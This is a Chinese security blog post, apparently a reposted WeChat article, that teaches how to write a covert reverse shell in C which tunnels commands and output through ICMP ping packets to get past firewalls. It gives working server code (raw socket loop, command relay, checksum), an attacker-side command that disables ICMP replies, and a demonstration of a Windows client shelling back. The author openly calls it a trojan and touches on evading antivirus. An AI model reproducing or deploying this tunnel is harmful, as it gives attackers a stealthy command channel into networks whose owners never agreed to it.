C语言写另类绕墙弹shell之ICMP协议(上)
2022-7-19 00:34:47 Author: 蓝极战队(查看原文) 阅读量:15 收藏

话说万物传输都基于TCP/IP协议嘛~~~~

ICMP协议算是TCP/IP协议的一个子协议。

通俗点说就是发送特定格式的数据报给目标主机,测试目标主机是否有回复,再说直白一点,就是我们最常用到的ping。

很多时候,运维为了方便,在各种安全策略中,ICMP协议通常是不会过滤的,通俗点说就是不会禁ping。

理论上来说,只要我们能和一台主机建立ICMP协议连接,也就是说能够ping得通,我们就可以利用该协议绕过一切的安全策略来传输数据。

ICMP协议是通过创建数据报发送给目标主机,然后目标主机收到数据报后回复给我们一个数据报的一个过程。

先来看看ICMP的数据报结构

在度娘随便找的一张图片~~

简单说,ICMP数据报就是由IP头部、ICMP头部和ICMP报文组成。

然而~~然而~~然而~~ICMP的报文数据是没有任何限制的,so,那么我们可以思考一下~~

如果我在目标上建立一个shell的管道,然后通过ICMP来传输我们之间的数据是不是可行呢?

答:100%可行!!!

------可爱的分割线------

既然思路清晰了,那么就开始动手吧!

这次我们要实现的目标是创建cmd管道,然后通过ICMP协议来进行数据的传输。

(一般我个人写一个client和server,都喜欢客户端服务端一起写,写木马不都是这样吗~但是为了方便阅读,还是一个个的来~)

先写一个server吧

0x01 肯定先创建原始ICMP套接字呐

sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);if (sockfd == -1) {   perror("socket");   return -1;}

0x02 将标准输入设置为非阻塞

flags = fcntl(0, F_GETFL, 0);flags |= O_NONBLOCK;fcntl(0, F_SETFL, flags);

0x03 来个while(1)的死循环,开始和client进行shell的交互

数据交互过程为:

获取ICMP→解析标头和数据→带上标头+构造的数据→回复

while(1) {        //从Socket读取数据        memset(in_buf, 0x00, IN_BUF_SIZE);        nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);        if (nbytes > 0) {            //获取ip和icmp标头和数据部分            ip = (struct iphdr *) in_buf;            if (nbytes > sizeof(struct iphdr)) {                nbytes -= sizeof(struct iphdr);                icmp = (struct icmphdr *) (ip + 1);                if (nbytes > sizeof(struct icmphdr)) {                    nbytes -= sizeof(struct icmphdr);                    data = (char *) (icmp + 1);                    data[nbytes] = '\0';                    printf("%s", data);                    fflush(stdout);                }                                //重用标头                icmp->type = 0;                addr.sin_family = AF_INET;                addr.sin_addr.s_addr = ip->saddr;                        //从标准输入读取数据                nbytes = read(0, out_buf, OUT_BUF_SIZE);                if (nbytes > -1) {                    memcpy((char *) (icmp + 1), out_buf, nbytes);                    out_size = nbytes;                } else {                    out_size = 0;                }
icmp->checksum = 0x00; icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
//发送回复 nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); if (nbytes == -1) { perror("sendto"); return -1; } } } }

0x04 计算校验和

数据报需要校验和,是为了每条数据报的完整性,所以需要我们计算报文校验和

unsigned short checksum(unsigned short *ptr, int nbytes){    unsigned long sum;    unsigned short oddbyte, rs;
sum = 0; while(nbytes > 1) { sum += *ptr++; nbytes -= 2; }
if(nbytes == 1) { oddbyte = 0; *((unsigned char *) &oddbyte) = *(u_char *)ptr; sum += oddbyte; }
sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); rs = ~sum; return rs;}

0x05 补充

常量的inbuf和outbuf大小我默认是1024和64,你也可以自己来定义,我估摸着我也用不着开辟太大的缓冲区,毕竟只是一个临时shell!

#define IN_BUF_SIZE   1024#define OUT_BUF_SIZE  64

0x06 总结

至此,server基本就写完了。

如果你比较了解TCP/IP协议的话,我上面大部分强调的都是废话,但是毕竟还是没有说到client,一个交互式通讯,只写一个端,感觉确实怪怪的,下一篇文章再继续分享client的编写如何建立shell管道然后通过ICMP跟server进行数据交互吧!!!

------可爱的分割线------

先送上一套成品~~~~~

server是基于linux编译的,client是基于windows编译的,有i386和x64两个程序。

演示一下:

0x01 攻击机先禁ping

攻击机为什么要先禁ping呢?

很简单,client已经是伪造ICMP的数据报给我们了,如果我们默认ICMP协议去回复,client不是就傻了吗?

所以我们禁止回复,然后回复的真正内容是我们要让client执行的shell命令!

以kali为例:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

禁止ICMP回复

0x02 运行server,开始准备接收受害者的ping

0x03 client愉快的来ping我

client32.exe 或者client64.exe 输入-h 查看帮助

因为是内网演示,我就不设置缓冲区和请求延迟了,默认即可

成功弹回了shell

中文乱码?编码问题嘛,看编码是936(GBK),直接chcp 65001(UTF-8) ,就不会乱码了!

0x07 再哔哔两句

其实我们所谓的木马

第一、数据能够交互(万物皆文件嘛,从老美打造的二进制生态来说,无非就是0和1~可惜了老大哥的三进制-1、0和1,还没打造生态呢,就over了,感兴趣的可以自己去了解一下,三进制的运行速度不是二进制可以比拟的(当然不是进制越高越快~~~),量子计算机本质也能算“三进制”吧,只不过0和1之间有无数种可能~~特么扯远了~~);

第二、控制端能够发送对应指令给被控端,被控端接收指令执行相应的操作然后回馈给控制端

第三、各种潜伏控制免杀(其实遵循安全策略来达到目的才是最好的免杀)


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMDMyOTA1OA==&mid=2247484011&idx=1&sn=9103d5d0fd89c4d439585a16f70b2aa1&chksm=c044f966f73370703e3e95e6ea2c2ebe284b552f430f4aaef7419ee13daca00141db32fa023d#rd
如有侵权请联系:admin#unsafe.sh